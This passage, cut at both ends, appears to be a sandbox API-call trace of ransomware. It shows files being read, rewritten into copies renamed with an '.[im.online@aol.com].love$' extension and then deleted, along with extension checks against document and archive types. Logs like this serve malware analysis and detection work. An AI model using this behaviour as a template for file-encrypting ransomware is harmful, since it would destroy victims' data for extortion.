lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.532] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xea, lpOverlapped=0x0) returned 1 [0101.532] SetEndOfFile (hFile=0x34c) returned 1 [0101.532] CloseHandle (hObject=0x34c) returned 1 [0101.533] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.533] SetEndOfFile (hFile=0x344) returned 1 [0101.534] CloseHandle (hObject=0x344) returned 1 [0101.534] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.976] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0103.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.428] lstrlenW (lpString=".doc") returned 4 [0103.429] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.429] lstrlenW (lpString=".docx") returned 5 [0103.429] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0103.429] lstrlenW (lpString=".pdf") returned 4 [0103.429] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.429] lstrlenW (lpString=".xls") returned 4 [0103.429] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.429] lstrlenW (lpString=".xlsx") returned 5 [0103.429] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0103.429] lstrlenW (lpString=".ppt") returned 4 [0103.429] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.429] lstrlenW (lpString=".zip") returned 4 [0103.429] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.429] lstrlenW (lpString=".rar") returned 4 [0103.429] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.429] lstrlenW (lpString=".bz2") returned 4 [0103.429] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.429] lstrlenW (lpString=".7z") returned 3 [0103.429] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.429] lstrlenW (lpString=".dbf") returned 4 [0103.429] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.429] lstrlenW (lpString=".1cd") returned 4 [0103.429] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.429] lstrlenW (lpString=".jpg") returned 4 [0103.430] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.430] lstrlenW (lpString=".doc") returned 4 [0103.430] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.430] lstrlenW (lpString=".docx") returned 5 [0103.430] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0103.430] lstrlenW (lpString=".pdf") returned 4 [0103.430] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString=".xls") returned 4 [0103.430] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString=".xlsx") returned 5 [0103.430] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0103.430] lstrlenW (lpString=".ppt") returned 4 [0103.430] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.430] lstrlenW (lpString=".zip") returned 4 [0103.430] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString=".rar") returned 4 [0103.430] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.430] lstrlenW (lpString=".bz2") returned 4 [0103.430] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.430] lstrlenW (lpString=".7z") returned 3 [0103.430] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.430] lstrlenW (lpString=".dbf") returned 4 [0103.430] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.431] lstrlenW (lpString=".1cd") returned 4 [0103.431] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.431] lstrlenW (lpString=".jpg") returned 4 [0103.431] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.431] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0103.431] lstrlenW (lpString="SysReqMet.ico") returned 13 [0103.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0103.432] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1150) returned 1 [0103.432] CloseHandle (hObject=0x360) returned 1 [0103.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0103.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0103.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.433] GetLastError () returned 0x0 [0103.433] ReadFile (in: hFile=0x360, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.442] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.443] ReadFile (in: hFile=0x360, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.443] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xee, lpOverlapped=0x0) returned 1 [0103.444] SetEndOfFile (hFile=0x364) returned 1 [0103.444] CloseHandle (hObject=0x364) returned 1 [0103.448] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.448] SetEndOfFile (hFile=0x360) returned 1 [0103.449] CloseHandle (hObject=0x360) returned 1 [0103.450] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.450] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0103.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.451] lstrlenW (lpString=".doc") returned 4 [0103.451] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.451] lstrlenW (lpString=".docx") returned 5 [0103.451] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.451] lstrlenW (lpString=".pdf") returned 4 [0103.451] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.451] lstrlenW (lpString=".xls") returned 4 [0103.451] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.451] lstrlenW (lpString=".xlsx") returned 5 [0103.451] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.451] lstrlenW (lpString=".ppt") returned 4 [0103.451] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.451] lstrlenW (lpString=".zip") returned 4 [0103.451] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.451] lstrlenW (lpString=".rar") returned 4 [0103.451] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.451] lstrlenW (lpString=".bz2") returned 4 [0103.451] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.451] lstrlenW (lpString=".7z") returned 3 [0103.451] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.451] lstrlenW (lpString=".dbf") returned 4 [0103.452] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.452] lstrlenW (lpString=".1cd") returned 4 [0103.452] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.452] lstrlenW (lpString=".jpg") returned 4 [0103.452] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.452] lstrlenW (lpString=".doc") returned 4 [0103.452] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.452] lstrlenW (lpString=".docx") returned 5 [0103.452] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.452] lstrlenW (lpString=".pdf") returned 4 [0103.452] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString=".xls") returned 4 [0103.452] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString=".xlsx") returned 5 [0103.452] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.452] lstrlenW (lpString=".ppt") returned 4 [0103.452] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.452] lstrlenW (lpString=".zip") returned 4 [0103.452] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString=".rar") returned 4 [0103.452] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.452] lstrlenW (lpString=".bz2") returned 4 [0103.452] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.453] lstrlenW (lpString=".7z") returned 3 [0103.453] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.453] lstrlenW (lpString=".dbf") returned 4 [0103.453] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.453] lstrlenW (lpString=".1cd") returned 4 [0103.453] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.453] lstrlenW (lpString=".jpg") returned 4 [0103.453] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.453] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0103.453] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0103.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0103.454] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1150) returned 1 [0103.454] CloseHandle (hObject=0x360) returned 1 [0103.454] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0103.454] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.454] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0103.454] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.454] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.454] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.455] GetLastError () returned 0x0 [0103.455] ReadFile (in: hFile=0x360, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.481] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.482] ReadFile (in: hFile=0x360, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.483] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf4, lpOverlapped=0x0) returned 1 [0103.483] SetEndOfFile (hFile=0x364) returned 1 [0103.483] CloseHandle (hObject=0x364) returned 1 [0103.488] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.488] SetEndOfFile (hFile=0x360) returned 1 [0103.489] CloseHandle (hObject=0x360) returned 1 [0103.490] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.490] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0103.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.490] lstrlenW (lpString=".doc") returned 4 [0103.490] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.490] lstrlenW (lpString=".docx") returned 5 [0103.490] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.490] lstrlenW (lpString=".pdf") returned 4 [0103.490] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString=".xls") returned 4 [0103.491] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString=".xlsx") returned 5 [0103.491] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.491] lstrlenW (lpString=".ppt") returned 4 [0103.491] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString=".zip") returned 4 [0103.491] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString=".rar") returned 4 [0103.491] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString=".bz2") returned 4 [0103.491] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.491] lstrlenW (lpString=".7z") returned 3 [0103.491] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString=".dbf") returned 4 [0103.491] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString=".1cd") returned 4 [0103.491] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString=".jpg") returned 4 [0103.491] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.491] lstrlenW (lpString=".doc") returned 4 [0103.492] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.492] lstrlenW (lpString=".docx") returned 5 [0103.492] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.492] lstrlenW (lpString=".pdf") returned 4 [0103.492] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.492] lstrlenW (lpString=".xls") returned 4 [0103.492] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.492] lstrlenW (lpString=".xlsx") returned 5 [0103.492] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.492] lstrlenW (lpString=".ppt") returned 4 [0103.492] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.492] lstrlenW (lpString=".zip") returned 4 [0103.492] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.492] lstrlenW (lpString=".rar") returned 4 [0103.492] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.492] lstrlenW (lpString=".bz2") returned 4 [0103.492] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.492] lstrlenW (lpString=".7z") returned 3 [0103.492] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.492] lstrlenW (lpString=".dbf") returned 4 [0103.492] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.492] lstrlenW (lpString=".1cd") returned 4 [0103.492] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.492] lstrlenW (lpString=".jpg") returned 4 [0103.492] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.493] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0103.493] lstrlenW (lpString="warn.ico") returned 8 [0103.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.671] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=10134) returned 1 [0103.688] CloseHandle (hObject=0x364) returned 1 [0103.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0103.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.689] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.689] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.690] GetLastError () returned 0x0 [0103.690] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x2796, lpOverlapped=0x0) returned 1 [0103.696] WriteFile (in: hFile=0x354, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0103.697] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.698] WriteFile (in: hFile=0x354, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.698] SetEndOfFile (hFile=0x354) returned 1 [0103.698] CloseHandle (hObject=0x354) returned 1 [0103.700] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.700] SetEndOfFile (hFile=0x364) returned 1 [0103.702] CloseHandle (hObject=0x364) returned 1 [0103.702] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.702] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0103.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.703] lstrlenW (lpString=".doc") returned 4 [0103.703] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.703] lstrlenW (lpString=".docx") returned 5 [0103.703] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0103.703] lstrlenW (lpString=".pdf") returned 4 [0103.703] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.703] lstrlenW (lpString=".xls") returned 4 [0103.703] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.703] lstrlenW (lpString=".xlsx") returned 5 [0103.703] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0103.703] lstrlenW (lpString=".ppt") returned 4 [0103.703] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.703] lstrlenW (lpString=".zip") returned 4 [0103.703] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.703] lstrlenW (lpString=".rar") returned 4 [0103.703] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.703] lstrlenW (lpString=".bz2") returned 4 [0103.703] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.703] lstrlenW 